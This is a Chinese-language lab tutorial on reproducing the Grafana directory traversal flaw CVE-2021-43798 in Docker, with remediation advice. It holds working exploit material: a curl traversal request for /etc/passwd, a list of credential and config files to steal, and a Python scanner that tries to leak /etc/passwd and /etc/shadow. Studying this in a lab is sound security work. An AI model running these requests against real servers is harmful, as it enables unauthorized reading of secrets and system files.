基于Docker的Grafana漏洞复现环境构建实战在安全研究领域快速搭建漏洞复现环境是每个技术人员的必修课。今天我们将聚焦Grafana目录遍历漏洞(CVE-2021-43798)通过Docker技术实现一键部署漏洞环境帮助安全从业者高效学习漏洞原理与利用方式。不同于传统虚拟机方案容器化部署具有隔离性好、资源占用低、环境可重复等显著优势特别适合用于漏洞研究这类需要频繁重建环境的场景。1. 漏洞背景与影响范围Grafana作为流行的开源可视化监控平台在8.0.0-beta1至8.3.0版本中存在目录遍历漏洞。攻击者通过构造特殊的URL路径可以读取服务器上的任意文件包括敏感配置文件、密码文件等。该漏洞的利用门槛较低但危害性较高CVSS评分达到7.5。受影响版本具体包括8.0.0-beta1 到 8.0.68.1.0 到 8.1.78.2.0 到 8.2.68.3.0提示官方已在8.0.7、8.1.8、8.2.7和8.3.1版本中修复此漏洞生产环境应立即升级。漏洞利用的核心在于插件系统设计缺陷攻击者无需认证即可通过以下形式访问敏感文件/public/plugins/{plugin_id}/../../../../etc/passwd2. Docker环境快速部署2.1 选择正确的漏洞版本镜像我们推荐使用官方历史版本镜像确保环境纯净且易于复现。执行以下命令拉取存在漏洞的Grafana镜像docker pull grafana/grafana:8.2.6为方便实验我们准备了一个预配置的docker-compose文件version: 3 services: vulnerable-grafana: image: grafana/grafana:8.2.6 ports: - 3000:3000 volumes: - grafana-storage:/var/lib/grafana volumes: grafana-storage:启动服务只需执行docker-compose up -d2.2 环境验证服务启动后访问http://localhost:3000应能看到Grafana登录界面。默认凭据为用户名admin密码admin注意首次登录会要求修改密码建议在实验环境中保持默认密码以便后续操作。3. 漏洞利用实战3.1 识别可用插件漏洞利用的关键在于找到有效的插件ID。Grafana默认安装的插件包括插件类型插件ID示例数据源插件prometheus, mysql面板插件graph, table应用插件welcome, dashboard通过以下API可以获取完整插件列表http://localhost:3000/api/plugins3.2 构造恶意请求使用curl测试目录遍历漏洞curl -v http://localhost:3000/public/plugins/welcome/../../../../../../etc/passwd成功响应将返回服务器上的/etc/passwd文件内容。常用敏感文件路径包括/etc/grafana/grafana.ini主配置文件/var/lib/grafana/grafana.dbSQLite数据库/proc/self/environ环境变量/root/.bash_history命令历史记录3.3 自动化检测脚本为提高效率可以编写简单的Python检测脚本import requests TARGET http://localhost:3000 PLUGINS [welcome, prometheus, graph] FILES [/etc/passwd, /etc/shadow] for plugin in PLUGINS: for file in FILES: path f/public/plugins/{plugin}/../../../../..{file} r requests.get(TARGET path) if r.status_code 200 and root: in r.text: print(f[] Vulnerable! File leaked: {file}) print(r.text[:200] ...) break4. 安全防护建议4.1 修复方案对于受影响的Grafana实例应立即采取以下措施升级到安全版本docker pull grafana/grafana:8.3.1临时缓解措施如无法立即升级配置反向代理过滤包含/public/plugins/的异常路径限制插件安装权限4.2 加固建议定期更新Grafana到最新稳定版禁用不必要的插件配置适当的文件系统权限监控异常访问日志5. 实验环境扩展5.1 集成VULFOCUS靶场为获得更真实的演练体验可以部署集成VULFOCUS靶场环境git clone https://github.com/vulfocus/grafana-cve-2021-43798 cd grafana-cve-2021-43798 docker-compose up -d该环境模拟了真实攻击场景包含flag获取挑战。5.2 常见问题排查问题1请求返回404错误检查插件ID是否正确确认Grafana版本在受影响范围内问题2读取文件内容被截断尝试使用不同路径深度如增加../数量检查响应头中的Content-Length在实际测试中我们发现某些场景下需要尝试多次才能成功读取文件内容。建议保持耐心系统性地测试不同插件和文件路径组合。